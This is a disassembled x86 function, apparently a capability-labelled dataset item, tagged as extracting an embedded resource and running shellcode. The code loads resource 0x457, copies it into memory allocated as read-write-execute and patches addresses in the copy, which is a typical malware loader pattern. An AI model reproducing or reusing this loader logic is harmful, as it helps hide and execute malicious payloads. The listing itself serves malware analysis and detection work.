Function at 0x10003e60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100ac8ac
mov eax, dword fs:[0]
push eax
sub esp, 0xbc
mov eax, dword [0x100d8180]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [0x100d94e0]
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
mov edi, eax
mov dword [ebp - 0x98], edi
test edi, edi
je 0x1000454f
nop word [eax + eax]
mov ecx, edi
mov dword [ebp - 0x18], 0
xorps xmm0, xmm0
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003ed0
sub ecx, edx
push ecx
push edi
lea ecx, [ebp - 0x28]
call fcn.10001c40
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0x28]
mov esi, dword [ebp - 0x28]
cmp edx, 0xf
mov dword [ebp - 4], 0
cmova eax, esi
cmp byte [eax], 0x5f
jne 0x10004103
mov ecx, dword [ebp - 0x18]
mov eax, bind
sub eax, ecx
mov dword [ebp - 0xa4], ecx
cmp eax, 1
jb 0x100048b0
cmp edx, 0xf
mov dword [ebp - 0x48], 0
lea eax, [ebp - 0x28]
mov dword [ebp - 0x44], 0
cmova eax, esi
lea edi, [ecx + 1]
mov dword [ebp - 0xa8], eax
lea esi, [ebp - 0x58]
mov eax, 0xf
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
cmp edi, eax
jbe 0x10003f8d
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x10003f61
mov eax, bind
jmp 0x10003f6c
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.10001be0
mov esi, eax
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x58], esi
push dword [ebp - 0xa4]
lea ecx, [esi + 1]
mov dword [ebp - 0x48], edi
push dword [ebp - 0xa8]
mov dword [ebp - 0x44], eax
push ecx
mov byte [esi], 0x5f
call fcn.10080ec0
add esp, 0xc
mov byte [esi + edi], 0
lea eax, [ebp - 0x58]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0xc8]
mov ecx, 0x100d94c0
push eax
call fcn.10001df0
mov esi, dword [ebp - 0xc0]
cmp byte [esi + 0xd], 0
jne 0x10003ff1
lea eax, [esi + 0x10]
mov ecx, 0x100d94c0
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.10002a30
test al, al
je 0x1000409e
cmp dword [0x100d94c4], 0x5d1745d
je 0x100048ab
mov esi, dword [0x100d94c0]
mov dword [ebp - 0xb0], 0x100d94c0
push 0x2c
mov byte [ebp - 4], 2
mov dword [ebp - 0xac], 0
call fcn.1007f309
xorps xmm0, xmm0
mov byte [ebp - 4], 1
add esp, 4
mov dword [ebp - 0xac], 0
mov ecx, 0x100d94c0
movups xmmword [eax + 0x10], xmm0
mov dword [eax + 0x20], 0
mov dword [eax + 0x24], 0
movups xmm0, xmmword [ebp - 0x58]
push eax
push dword [ebp - 0xc4]
movups xmmword [eax + 0x10], xmm0
movq xmm0, qword [ebp - 0x48]
push dword [ebp - 0xc8]
movq qword [eax + 0x20], xmm0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
mov dword [eax + 0x28], 0
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov word [eax + 0xc], 0
call fcn.10002fe0
mov esi, eax
mov ecx, dword [0x100d94e0]
push dword [ebp - 0x98]
mov edx, dword [ecx]
mov edx, dword [edx + 8]
call edx
mov dword [esi + 0x28], eax
mov ecx, dword [ebp - 0x44]
mov byte [ebp - 4], 0
cmp ecx, 0xf
jbe 0x100040ec
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100040e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100048a6
push ecx
push edx
call fcn.1007f339
add esp, 8
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
jmp 0x100044e5
cmp edx, 0xf
lea eax, [ebp - 0x28]
cmova eax, esi
cmp byte [eax], 0x21
jne 0x100041a0
mov eax, dword [ebp - 0x18]
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
movups xmmword [ebp - 0x40], xmm0
cmp eax, 1
jb 0x100048b5
dec eax
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp edx, 0xf
lea eax, [ebp - 0x28]
cmova eax, esi
push ecx
inc eax
lea ecx, [ebp - 0x40]
push eax
call fcn.10001c40
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x10004188
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000417e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100048a6
push ecx
push edx
call fcn.1007f339
add esp, 8
movups xmm0, xmmword [ebp - 0x40]
movups xmmword [ebp - 0x28], xmm0
mov esi, dword [ebp - 0x28]
movq xmm0, qword [ebp - 0x30]
movq qword [ebp - 0x18], xmm0
mov edx, dword [ebp - 0x14]
cmp edx, 0xf
lea eax, [ebp - 0x28]
cmova eax, esi
movsx eax, byte [eax]
push eax
call fcn.10084a00
add esp, 4
test eax, eax
jne 0x10004238
mov dword [ebp - 0x30], eax
xorps xmm0, xmm0
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
movups xmmword [ebp - 0x40], xmm0
cmp eax, 1
jb 0x100048b5
dec eax
or ecx, 0xffffffff
cmp eax, 0xffffffff
cmovb ecx, eax
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
cmova eax, dword [ebp - 0x28]
push ecx
inc eax
lea ecx, [ebp - 0x40]
push eax
call fcn.10001c40
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x10004226
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000421c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100048a6
push ecx
push edx
call fcn.1007f339
add esp, 8
movups xmm0, xmmword [ebp - 0x40]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [ebp - 0x30]
movq qword [ebp - 0x18], xmm0
xor esi, esi
cmp dword [ebp - 0x18], esi
jbe 0x100042fc
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x28]
nop dword [eax]
cmp ecx, 0xf
lea eax, [ebp - 0x28]
cmova eax, edx
movsx eax, byte [eax + esi]
push eax
call fcn.10084a00
mov ecx, dword [ebp - 0x14]
add esp, 4
mov edx, dword [ebp - 0x28]
test eax, eax
jne 0x1000427f
cmp ecx, 0xf
lea eax, [ebp - 0x28]
cmova eax, edx
cmp byte [eax + esi], 0x5f
jne 0x10004287
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x10004250
jmp 0x100042fc
cmp dword [ebp - 0x18], esi
lea eax, [ebp - 0x28]
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
cmovb esi, dword [ebp - 0x18]
cmp ecx, 0xf
push esi
cmova eax, edx
mov dword [ebp - 0x2c], 0
push eax
lea ecx, [ebp - 0x40]
movups xmmword [ebp - 0x40], xmm0
call fcn.10001c40
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x100042ea
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100042e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100048a6
push ecx
push edx
call fcn.1007f339
add esp, 8
movups xmm0, xmmword [ebp - 0x40]
movups xmmword [ebp - 0x28], xmm0
movq xmm0, qword [ebp - 0x30]
movq qword [ebp - 0x18], xmm0
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.100609d0
push 2
push 0x100b2840
push 0
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.10003c70
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 4
push eax
lea eax, [ebp - 0xbc]
mov ecx, 0x100d94c0
push eax
call fcn.10001df0
mov esi, dword [ebp - 0xb4]
cmp byte [esi + 0xd], 0
jne 0x10004393
lea eax, [esi + 0x10]
mov ecx, 0x100d94c0
push eax
lea eax, [ebp - 0x40]
push eax
call fcn.10002a30
test al, al
je 0x10004440
cmp dword [0x100d94c4], 0x5d1745d
je 0x100048ab
mov esi, dword [0x100d94c0]
mov dword [ebp - 0xa0], 0x100d94c0
push 0x2c
mov byte [ebp - 4], 5
mov dword [ebp - 0x9c], 0
call fcn.1007f309
xorps xmm0, xmm0
mov byte [ebp - 4], 4
add esp, 4
mov dword [ebp - 0x9c], 0
mov ecx, 0x100d94c0
movups xmmword [eax + 0x10], xmm0
mov dword [eax + 0x20], 0
mov dword [eax + 0x24], 0
movups xmm0, xmmword [ebp - 0x40]
push eax
push dword [ebp - 0xb8]
movups xmmword [eax + 0x10], xmm0
movq xmm0, qword [ebp - 0x30]
push dword [ebp - 0xbc]
movq qword [eax + 0x20], xmm0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov dword [eax + 0x28], 0
mov dword [eax], esi
mov dword [eax + 4], esi
mov dword [eax + 8], esi
mov word [eax + 0xc], 0
call fcn.10002fe0
mov esi, eax
mov ecx, dword [0x100d94e0]
push edi
mov edx, dword [ecx]
mov edx, dword [edx + 8]
call edx
mov dword [esi + 0x28], eax
mov ecx, dword [ebp - 0x2c]
mov byte [ebp - 4], 3
cmp ecx, 0xf
jbe 0x10004489
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000447f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100048a6
push ecx
push edx
call fcn.1007f339
add esp, 8
mov ecx, dword [ebp - 0x5c]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov byte [ebp - 4], 0
cmp ecx, 0xf
jbe 0x100044d3
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100044c9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100048a6
push ecx
push edx
call fcn.1007f339
add esp, 8
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
cmp ecx, 0xf
jbe 0x10004520
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004516
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100048a6
push ecx
push edx
call fcn.1007f339
add esp, 8
mov ecx, dword [0x100d94e0]
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov eax, dword [ecx]
mov eax, dword [eax + 4]
call eax
mov edi, eax
mov dword [ebp - 0x98], eax
test edi, edi
jne 0x10003eb0
push 0xa
push 0x457
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x100048a1
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x100048a1
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
test eax, eax
je 0x100048a1
mov edi, dword [eax]
lea esi, [eax + 4]
push 0x40
push 0x3000
push edi
push 0
mov dword [ebp - 0x9c], edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push esi
push eax
mov dword [0x100d94dc], eax
call fcn.10080ec0
mov ecx, dword [esi + edi]
lea eax, [edi + 4]
add eax, esi
mov dword [ebp - 0xa4], ecx
add esp, 0xc
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x98], 0
test ecx, ecx
jle 0x10004719
nop word [eax + eax]
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.10003aa0
mov esi, dword [ebp - 0x5c]
mov eax, dword [0x100d94dc]
mov dword [ebp - 4], 6
cmp esi, eax
jl 0x100048a1
add eax, edi
cmp esi, eax
jge 0x100048a1
lea eax, [ebp - 0x74]
mov ecx, 0x100d94cc
push eax
lea eax, [ebp - 0xbc]
push eax
call fcn.10001df0
mov edi, dword [ebp - 0xb4]
cmp byte [edi + 0xd], 0
jne 0x1000464c
lea eax, [edi + 0x10]
mov ecx, 0x100d94cc
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.10002a30
test al, al
je 0x100046e2
cmp dword [0x100d94d0], 0x5d1745d
je 0x100048ab
mov eax, dword [0x100d94cc]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xb0], 0x100d94cc
push 0x2c
mov byte [ebp - 4], 7
mov dword [ebp - 0xac], 0
call fcn.1007f309
mov edi, eax
add esp, 4
mov dword [ebp - 0xac], edi
lea eax, [ebp - 0x74]
mov byte [ebp - 4], 8
push eax
lea ecx, [edi + 0x10]
call fcn.10002230
mov eax, dword [ebp - 0xa8]
mov ecx, 0x100d94cc
push edi
push dword [ebp - 0xb8]
mov dword [edi + 0x28], 0
push dword [ebp - 0xbc]
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov word [edi + 0xc], 0
mov dword [ebp - 0xac], 0
call fcn.10002fe0
mov esi, dword [ebp - 0x5c]
mov edi, eax
lea ecx, [ebp - 0x74]
mov dword [edi + 0x28], esi
mov dword [ebp - 4], 0xffffffff
call fcn.10002930
mov edi, dword [ebp - 0x98]
inc edi
cmp edi, dword [ebp - 0xa4]
mov dword [ebp - 0x98], edi
mov edi, dword [ebp - 0x9c]
jl 0x100045e0
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
xor edi, edi
add eax, 4
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x94], eax
test ecx, ecx
jle 0x100047a1
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.10003aa0
mov esi, dword [ebp - 0x5c]
lea eax, [ebp - 0x74]
push eax
mov dword [ebp - 4], 9
call fcn.100039d0
sub eax, esi
mov dword [ebp - 4], 0xffffffff
add dword [esi], eax
mov ecx, dword [ebp - 0x60]
cmp ecx, 0xf
jbe 0x10004792
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10004788
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100048a6
push ecx
push edx
call fcn.1007f339
add esp, 8
inc edi
cmp edi, dword [ebp - 0x9c]
jl 0x10004730
mov eax, dword [ebp - 0x94]
mov ecx, dword [eax]
xor edi, edi
add eax, 4
mov dword [ebp - 0x9c], ecx
mov dword [ebp - 0x94], eax
test ecx, ecx
jle 0x10004832
nop dword [eax + eax]
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.10003aa0
mov esi, dword [ebp - 0x78]
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 4], 0xa
call fcn.100039d0
add dword [esi], eax
mov ecx, dword [ebp - 0x7c]
mov dword [ebp - 4], 0xffffffff
cmp ecx, 0xf
jbe 0x10004829
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000481f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100048a6
push ecx
push edx
call fcn.1007f339
add esp, 8
inc edi
cmp edi, dword [ebp - 0x9c]
jl 0x100047c0
mov esi, dword [0x100d94c0]
mov ecx, 0x100d94c0
push dword [esi + 4]
push 0x100d94c0
call fcn.10001cd0
mov dword [esi + 4], esi
mov ecx, 0x100d94cc
mov dword [esi], esi
mov dword [esi + 8], esi
mov esi, dword [0x100d94cc]
mov dword [0x100d94c4], 0
push dword [esi + 4]
push 0x100d94cc
call fcn.10001cd0
mov dword [esi + 4], esi
mov dword [esi], esi
mov dword [esi + 8], esi
mov dword [0x100d94d0], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1007f9c9
mov esp, ebp
pop ebp
ret
call fcn.10003970
call fcn.1008498a
call fcn.10003210
call fcn.10003220
call fcn.10003230
int3